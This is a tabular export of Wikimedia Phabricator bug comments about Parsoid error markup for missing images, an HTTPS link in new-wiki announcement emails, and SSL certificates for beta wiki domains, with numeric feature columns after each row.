#patch-for-review",,,1417716645,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,3,False,,,66,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,16.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,7.0,3.441860465116279,0.7906976744186046,"Change 170455 had a related patch set uploaded (by Subramanya Sastry):
T50900: Add mw:Error   error info to data-mw for missing imgs

[[GERRIT_URL]]

#patch-for-review"
226886,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Change 170455 had a related patch set uploaded by Subramanya Sastry:
WIP: (Bug 48900) Add mw:Error + error info to data-mw for missing imgs

https://gerrit.wikimedia.org/r/170455",,,1414795698,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,3,False,,,61,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,9.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.6857142857142855,0.9142857142857143,"Change 170455 had a related patch set uploaded by Subramanya Sastry:
WIP: (Bug 48900) Add mw:Error + error info to data-mw for missing imgs

GERRIT_URL"
226879,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,We should tackle this one soon since this blocks Flow from removing data-parsoid from their code. They use data-parsoid for missing images to render links. We currently emit a mw:Placeholder meta for it.,,,1411654695,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,3,True,,,56,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,12.0,14.0,5.0,0.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,4.071428571428571,0.7857142857142857,We should tackle this one soon since this blocks Flow from removing data-parsoid from their code. They use data-parsoid for missing images to render links. We currently emit a mw:Placeholder meta for it.
226873,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,*** Bug 51615 has been marked as a duplicate of this bug. ***,,,1374161731,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,1,True,,,-6,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51615 has been marked as a duplicate of this bug. ***
226871,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,Spec in development at http://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Error_handling,,,1374106464,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,Spec in development at URL
226868,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"We recently discussed this again. A possible solution might be to mark arbitrary elements as error-affected using an additional mw:Error typeof (or CSS class), plus error information in data-mw.error. This error information can be an object like this:

{
  key: ""missing-image"",
  msg: ""This image did not exist""
}
 
The key can be used to retrieve localized messages. The msg just provides a non-localized fall-back. We could leave that out too if we are concerned about space.

For images, we'd use the standard DOM structure as if the image existed, but point out the error with the typeof and data-mw so that the VE can help the user to fix the issue. Similarly, bots can look for errors and potentially fix them automatically.",,,1374075574,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.5,0.5,5.0,1.5,0.0,0.0,1.0,2.0,0.5,0.0,0.0,0.0,2.5,0.0,4.5,10.5,0.0,1.5,0.0,0.5,0.0,1.5,0.0,0.0,0.0,3.5,0.5,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,2.0,0.0,0.5,0.0,0.0,0.0,16.0,0.5,2.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,7.5,2.0,7.0,2.5,3.0,10.0,0.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,3.0,10.5,1.0,0.0,2.0,0.0,3.0,0.0,0.0,2.0,0.5,1.0,0.0,0.0,0.0,3.802469135802469,0.7345679012345678,"We recently discussed this again. A possible solution might be to mark arbitrary elements as error-affected using an additional mw:Error typeof (or CSS class), plus error information in data-mw.error. This error information can be an object like this:

{
  key: ""missing-image"",
  msg: ""This image did not exist""
}
 
The key can be used to retrieve localized messages. The msg just provides a non-localized fall-back. We could leave that out too if we are concerned about space.

For images, we'd use the standard DOM structure as if the image existed, but point out the error with the typeof and data-mw so that the VE can help the user to fix the issue. Similarly, bots can look for errors and potentially fix them automatically."
226863,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,*** Bug 51535 has been marked as a duplicate of this bug. ***,,,1374074905,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51535 has been marked as a duplicate of this bug. ***
226859,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,*** Bug 50290 has been marked as a duplicate of this bug. ***,,,1373852602,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,1,True,,,-7,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50290 has been marked as a duplicate of this bug. ***
226852,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,Another example from bug 51244 - http://parsoid.wmflabs.org/pt/Usu%C3%A1rio:Helder.wiki/Testes?oldid=36380720,,,1373646156,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Another example from bug 51244 - URL
226845,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,*** Bug 51244 has been marked as a duplicate of this bug. ***,,,1373646127,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,1,True,,,-7,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51244 has been marked as a duplicate of this bug. ***
226839,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,*** Bug 51039 has been marked as a duplicate of this bug. ***,,,1373590970,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,1,False,,,-7,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51039 has been marked as a duplicate of this bug. ***
226832,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934117,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,1,True,,,-8,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
226827,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,*** Bug 50035 has been marked as a duplicate of this bug. ***,,,1372104211,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,1,False,,,-10,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50035 has been marked as a duplicate of this bug. ***
226822,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Before merging Mark's image patch I added very basic error handling that at least round-trips the image in case something goes wrong. This uses a simple mw:Placeholder for now, but we should probably create a generic error RDFa type that lets us report localizable errors while still ensuring round-tripping.

To let editors fix such an issue it might be useful to attach the regular DOM structure to the error wrapper. We'd also need to point out which property needs to be fixed, so that a client like the VisualEditor can provide a useful dialog.",,,1371782235,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,1,False,,,-10,True,0.0,0.5,0.5,1.0,0.0,6.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,2.5,0.0,3.5,11.5,0.5,3.5,0.5,1.5,0.0,0.5,0.0,1.0,0.0,2.0,1.0,0.5,2.5,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,15.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.5,0.0,7.0,2.0,6.5,3.0,0.5,9.5,0.0,0.0,0.0,0.0,8.5,0.0,0.0,0.0,3.5,11.5,3.0,0.0,0.0,0.0,3.5,0.0,1.5,4.0,0.5,1.5,0.0,0.5,0.0,4.19023569023569,0.8710437710437711,"Before merging Mark's image patch I added very basic error handling that at least round-trips the image in case something goes wrong. This uses a simple mw:Placeholder for now, but we should probably create a generic error RDFa type that lets us report localizable errors while still ensuring round-tripping.

To let editors fix such an issue it might be useful to attach the regular DOM structure to the error wrapper. We'd also need to point out which property needs to be fixed, so that a client like the VisualEditor can provide a useful dialog."
50572,Change URL in announcement email for new wikis to https as default,"The email announcement that comes through newproject mailing list from the wiki creation process currently shows an http://... link. Would it be possible for that email to be converted to offer the https login rather than http, or even both with a little explanatory text.  Selfish request though with the direction that is being taken, it is just a matter of time.  Thanks.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",Medium,50.0,1368786120,1373060757.0,PHID-USER-bmenasgfntvftznu6wxs,False,,False,PHID-TASK-lcjffz2w2holuzdprvmd,task_description,resolved,True,c2,1,False,False,True,-15,True,0.0,0.0,0.0,3.0,0.0,7.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,2.0,0.0,18.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,5.0,8.0,1.0,1.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,11.0,1.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,4.230769230769231,0.7252747252747253,"The email announcement that comes through newproject mailing list from the wiki creation process currently shows an URL link. Would it be possible for that email to be converted to offer the https login rather than http, or even both with a little explanatory text.  Selfish request though with the direction that is being taken, it is just a matter of time.  Thanks.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
231891,Change URL in announcement email for new wikis to https as default,"-Once the wiki is fully set up, it'll be visible at http://$6\"");"" | mwscript eval.php --wiki=aawiki
+Once the wiki is fully set up, it'll be visible at https://$6\"");"" | mwscript eval.php --wiki=aawiki

merged",,,1373060757,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-lcjffz2w2holuzdprvmd,task_subcomment,,True,c2,1,True,,,-8,True,0.0,0.0,5.0,5.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,7.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,11.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,3.5681818181818183,0.5681818181818182,"-Once the wiki is fully set up, it'll be visible at URL | mwscript eval.php --wiki=aawiki
+Once the wiki is fully set up, it'll be visible at URL | mwscript eval.php --wiki=aawiki

merged"
231887,Change URL in announcement email for new wikis to https as default,"Change 64462 merged by Dzahn:
Change link in notifyNewProjects to HTTPS

https://gerrit.wikimedia.org/r/64462",,,1373060706,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lcjffz2w2holuzdprvmd,task_subcomment,,True,c2,1,False,,,-8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,20.0,27.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.933333333333334,0.9333333333333333,"Change 64462 merged by Dzahn:
Change link in notifyNewProjects to HTTPS

GERRIT_URL"
231883,Change URL in announcement email for new wikis to https as default,Related URL: https://gerrit.wikimedia.org/r/64462 (Gerrit Change I518b518523520e7a310a9bc68216b7938e8a7631),,,1368833865,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lcjffz2w2holuzdprvmd,task_subcomment,,True,c2,1,False,,,-15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I518b518523520e7a310a9bc68216b7938e8a7631)
231880,Change URL in announcement email for new wikis to https as default,Example email: http://lists.wikimedia.org/pipermail/newprojects/2013-May/000069.html,,,1368788692,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-lcjffz2w2holuzdprvmd,task_subcomment,,True,c2,1,True,,,-15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,75.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Example email: URL
50501,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"We now have nginx SSL proxies in front of the beta caches (Bug T38648). We still have to fix the certificate (that is *.wmflabs.org for now).

We need certificates generated by 'Labs CA' for the entries listed in role::protoproxy::ssl::beta and some more.  I guess the easiest would be to create *.beta.wmflabs.org cert that will also contains the following DNS entries:

*.wikimedia.beta.wmflabs.org
*.wikibooks.beta.wmflabs.org
*.wikinews.beta.wmflabs.org
*.wikipedia.beta.wmflabs.org
*.wikiquote.beta.wmflabs.org
*.wikisource.beta.wmflabs.org
*.wikiversity.beta.wmflabs.org
*.wikivoyage.beta.wmflabs.org
*.wiktionary.beta.wmflabs.org

And the mobile ones:

*.m.wikimedia.beta.wmflabs.org
*.m.wikibooks.beta.wmflabs.org
*.m.wikinews.beta.wmflabs.org
*.m.wikipedia.beta.wmflabs.org
*.m.wikiquote.beta.wmflabs.org
*.m.wikisource.beta.wmflabs.org
*.m.wikiversity.beta.wmflabs.org
*.m.wikivoyage.beta.wmflabs.org
*.m.wiktionary.beta.wmflabs.org

*.zero.wikipedia.beta.wmflabs.org

**See Also**:
{T56065}
{T70387}
{T71269}",Medium,50.0,1368604800,1472656512.0,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-p25kct7eiowcmvkmyncx,task_description,resolved,True,c2,1,True,True,False,-15,True,0.5,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,2.5,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,7.0,0.5,0.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,3.0,1.0,9.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,2.0,4.0,21.0,0.0,1.0,0.0,2.0,0.0,0.5,0.0,0.0,0.5,0.5,0.5,0.5,6.1067023693605975,0.5722979552093476,"We now have nginx SSL proxies in front of the beta caches (Bug T38648). We still have to fix the certificate (that is *.wmflabs.org for now).

We need certificates generated by 'Labs CA' for the entries listed in role::protoproxy::ssl::beta and some more.  I guess the easiest would be to create *.beta.wmflabs.org cert that will also contains the following DNS entries:

*.wikimedia.beta.wmflabs.org
*.wikibooks.beta.wmflabs.org
*.wikinews.beta.wmflabs.org
*.wikipedia.beta.wmflabs.org
*.wikiquote.beta.wmflabs.org
*.wikisource.beta.wmflabs.org
*.wikiversity.beta.wmflabs.org
*.wikivoyage.beta.wmflabs.org
*.wiktionary.beta.wmflabs.org

And the mobile ones:

*.m.wikimedia.beta.wmflabs.org
*.m.wikibooks.beta.wmflabs.org
*.m.wikinews.beta.wmflabs.org
*.m.wikipedia.beta.wmflabs.org
*.m.wikiquote.beta.wmflabs.org
*.m.wikisource.beta.wmflabs.org
*.m.wikiversity.beta.wmflabs.org
*.m.wikivoyage.beta.wmflabs.org
*.m.wiktionary.beta.wmflabs.org

*.zero.wikipedia.beta.wmflabs.org

**See Also**:
{T56065}
{T70387}
{T71269}"
982520,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Can this ticket be made public nowadays?  There is now T182927 and it seemed like a duplicate.

Edit: ignore this, this comment was meant to be on T97593)",,,1513299970,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,224,True,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,14.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,9.0,6.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.657142857142857,0.9142857142857143,"Can this ticket be made public nowadays?  There is now T182927 and it seemed like a duplicate.

Edit: ignore this, this comment was meant to be on T97593)"
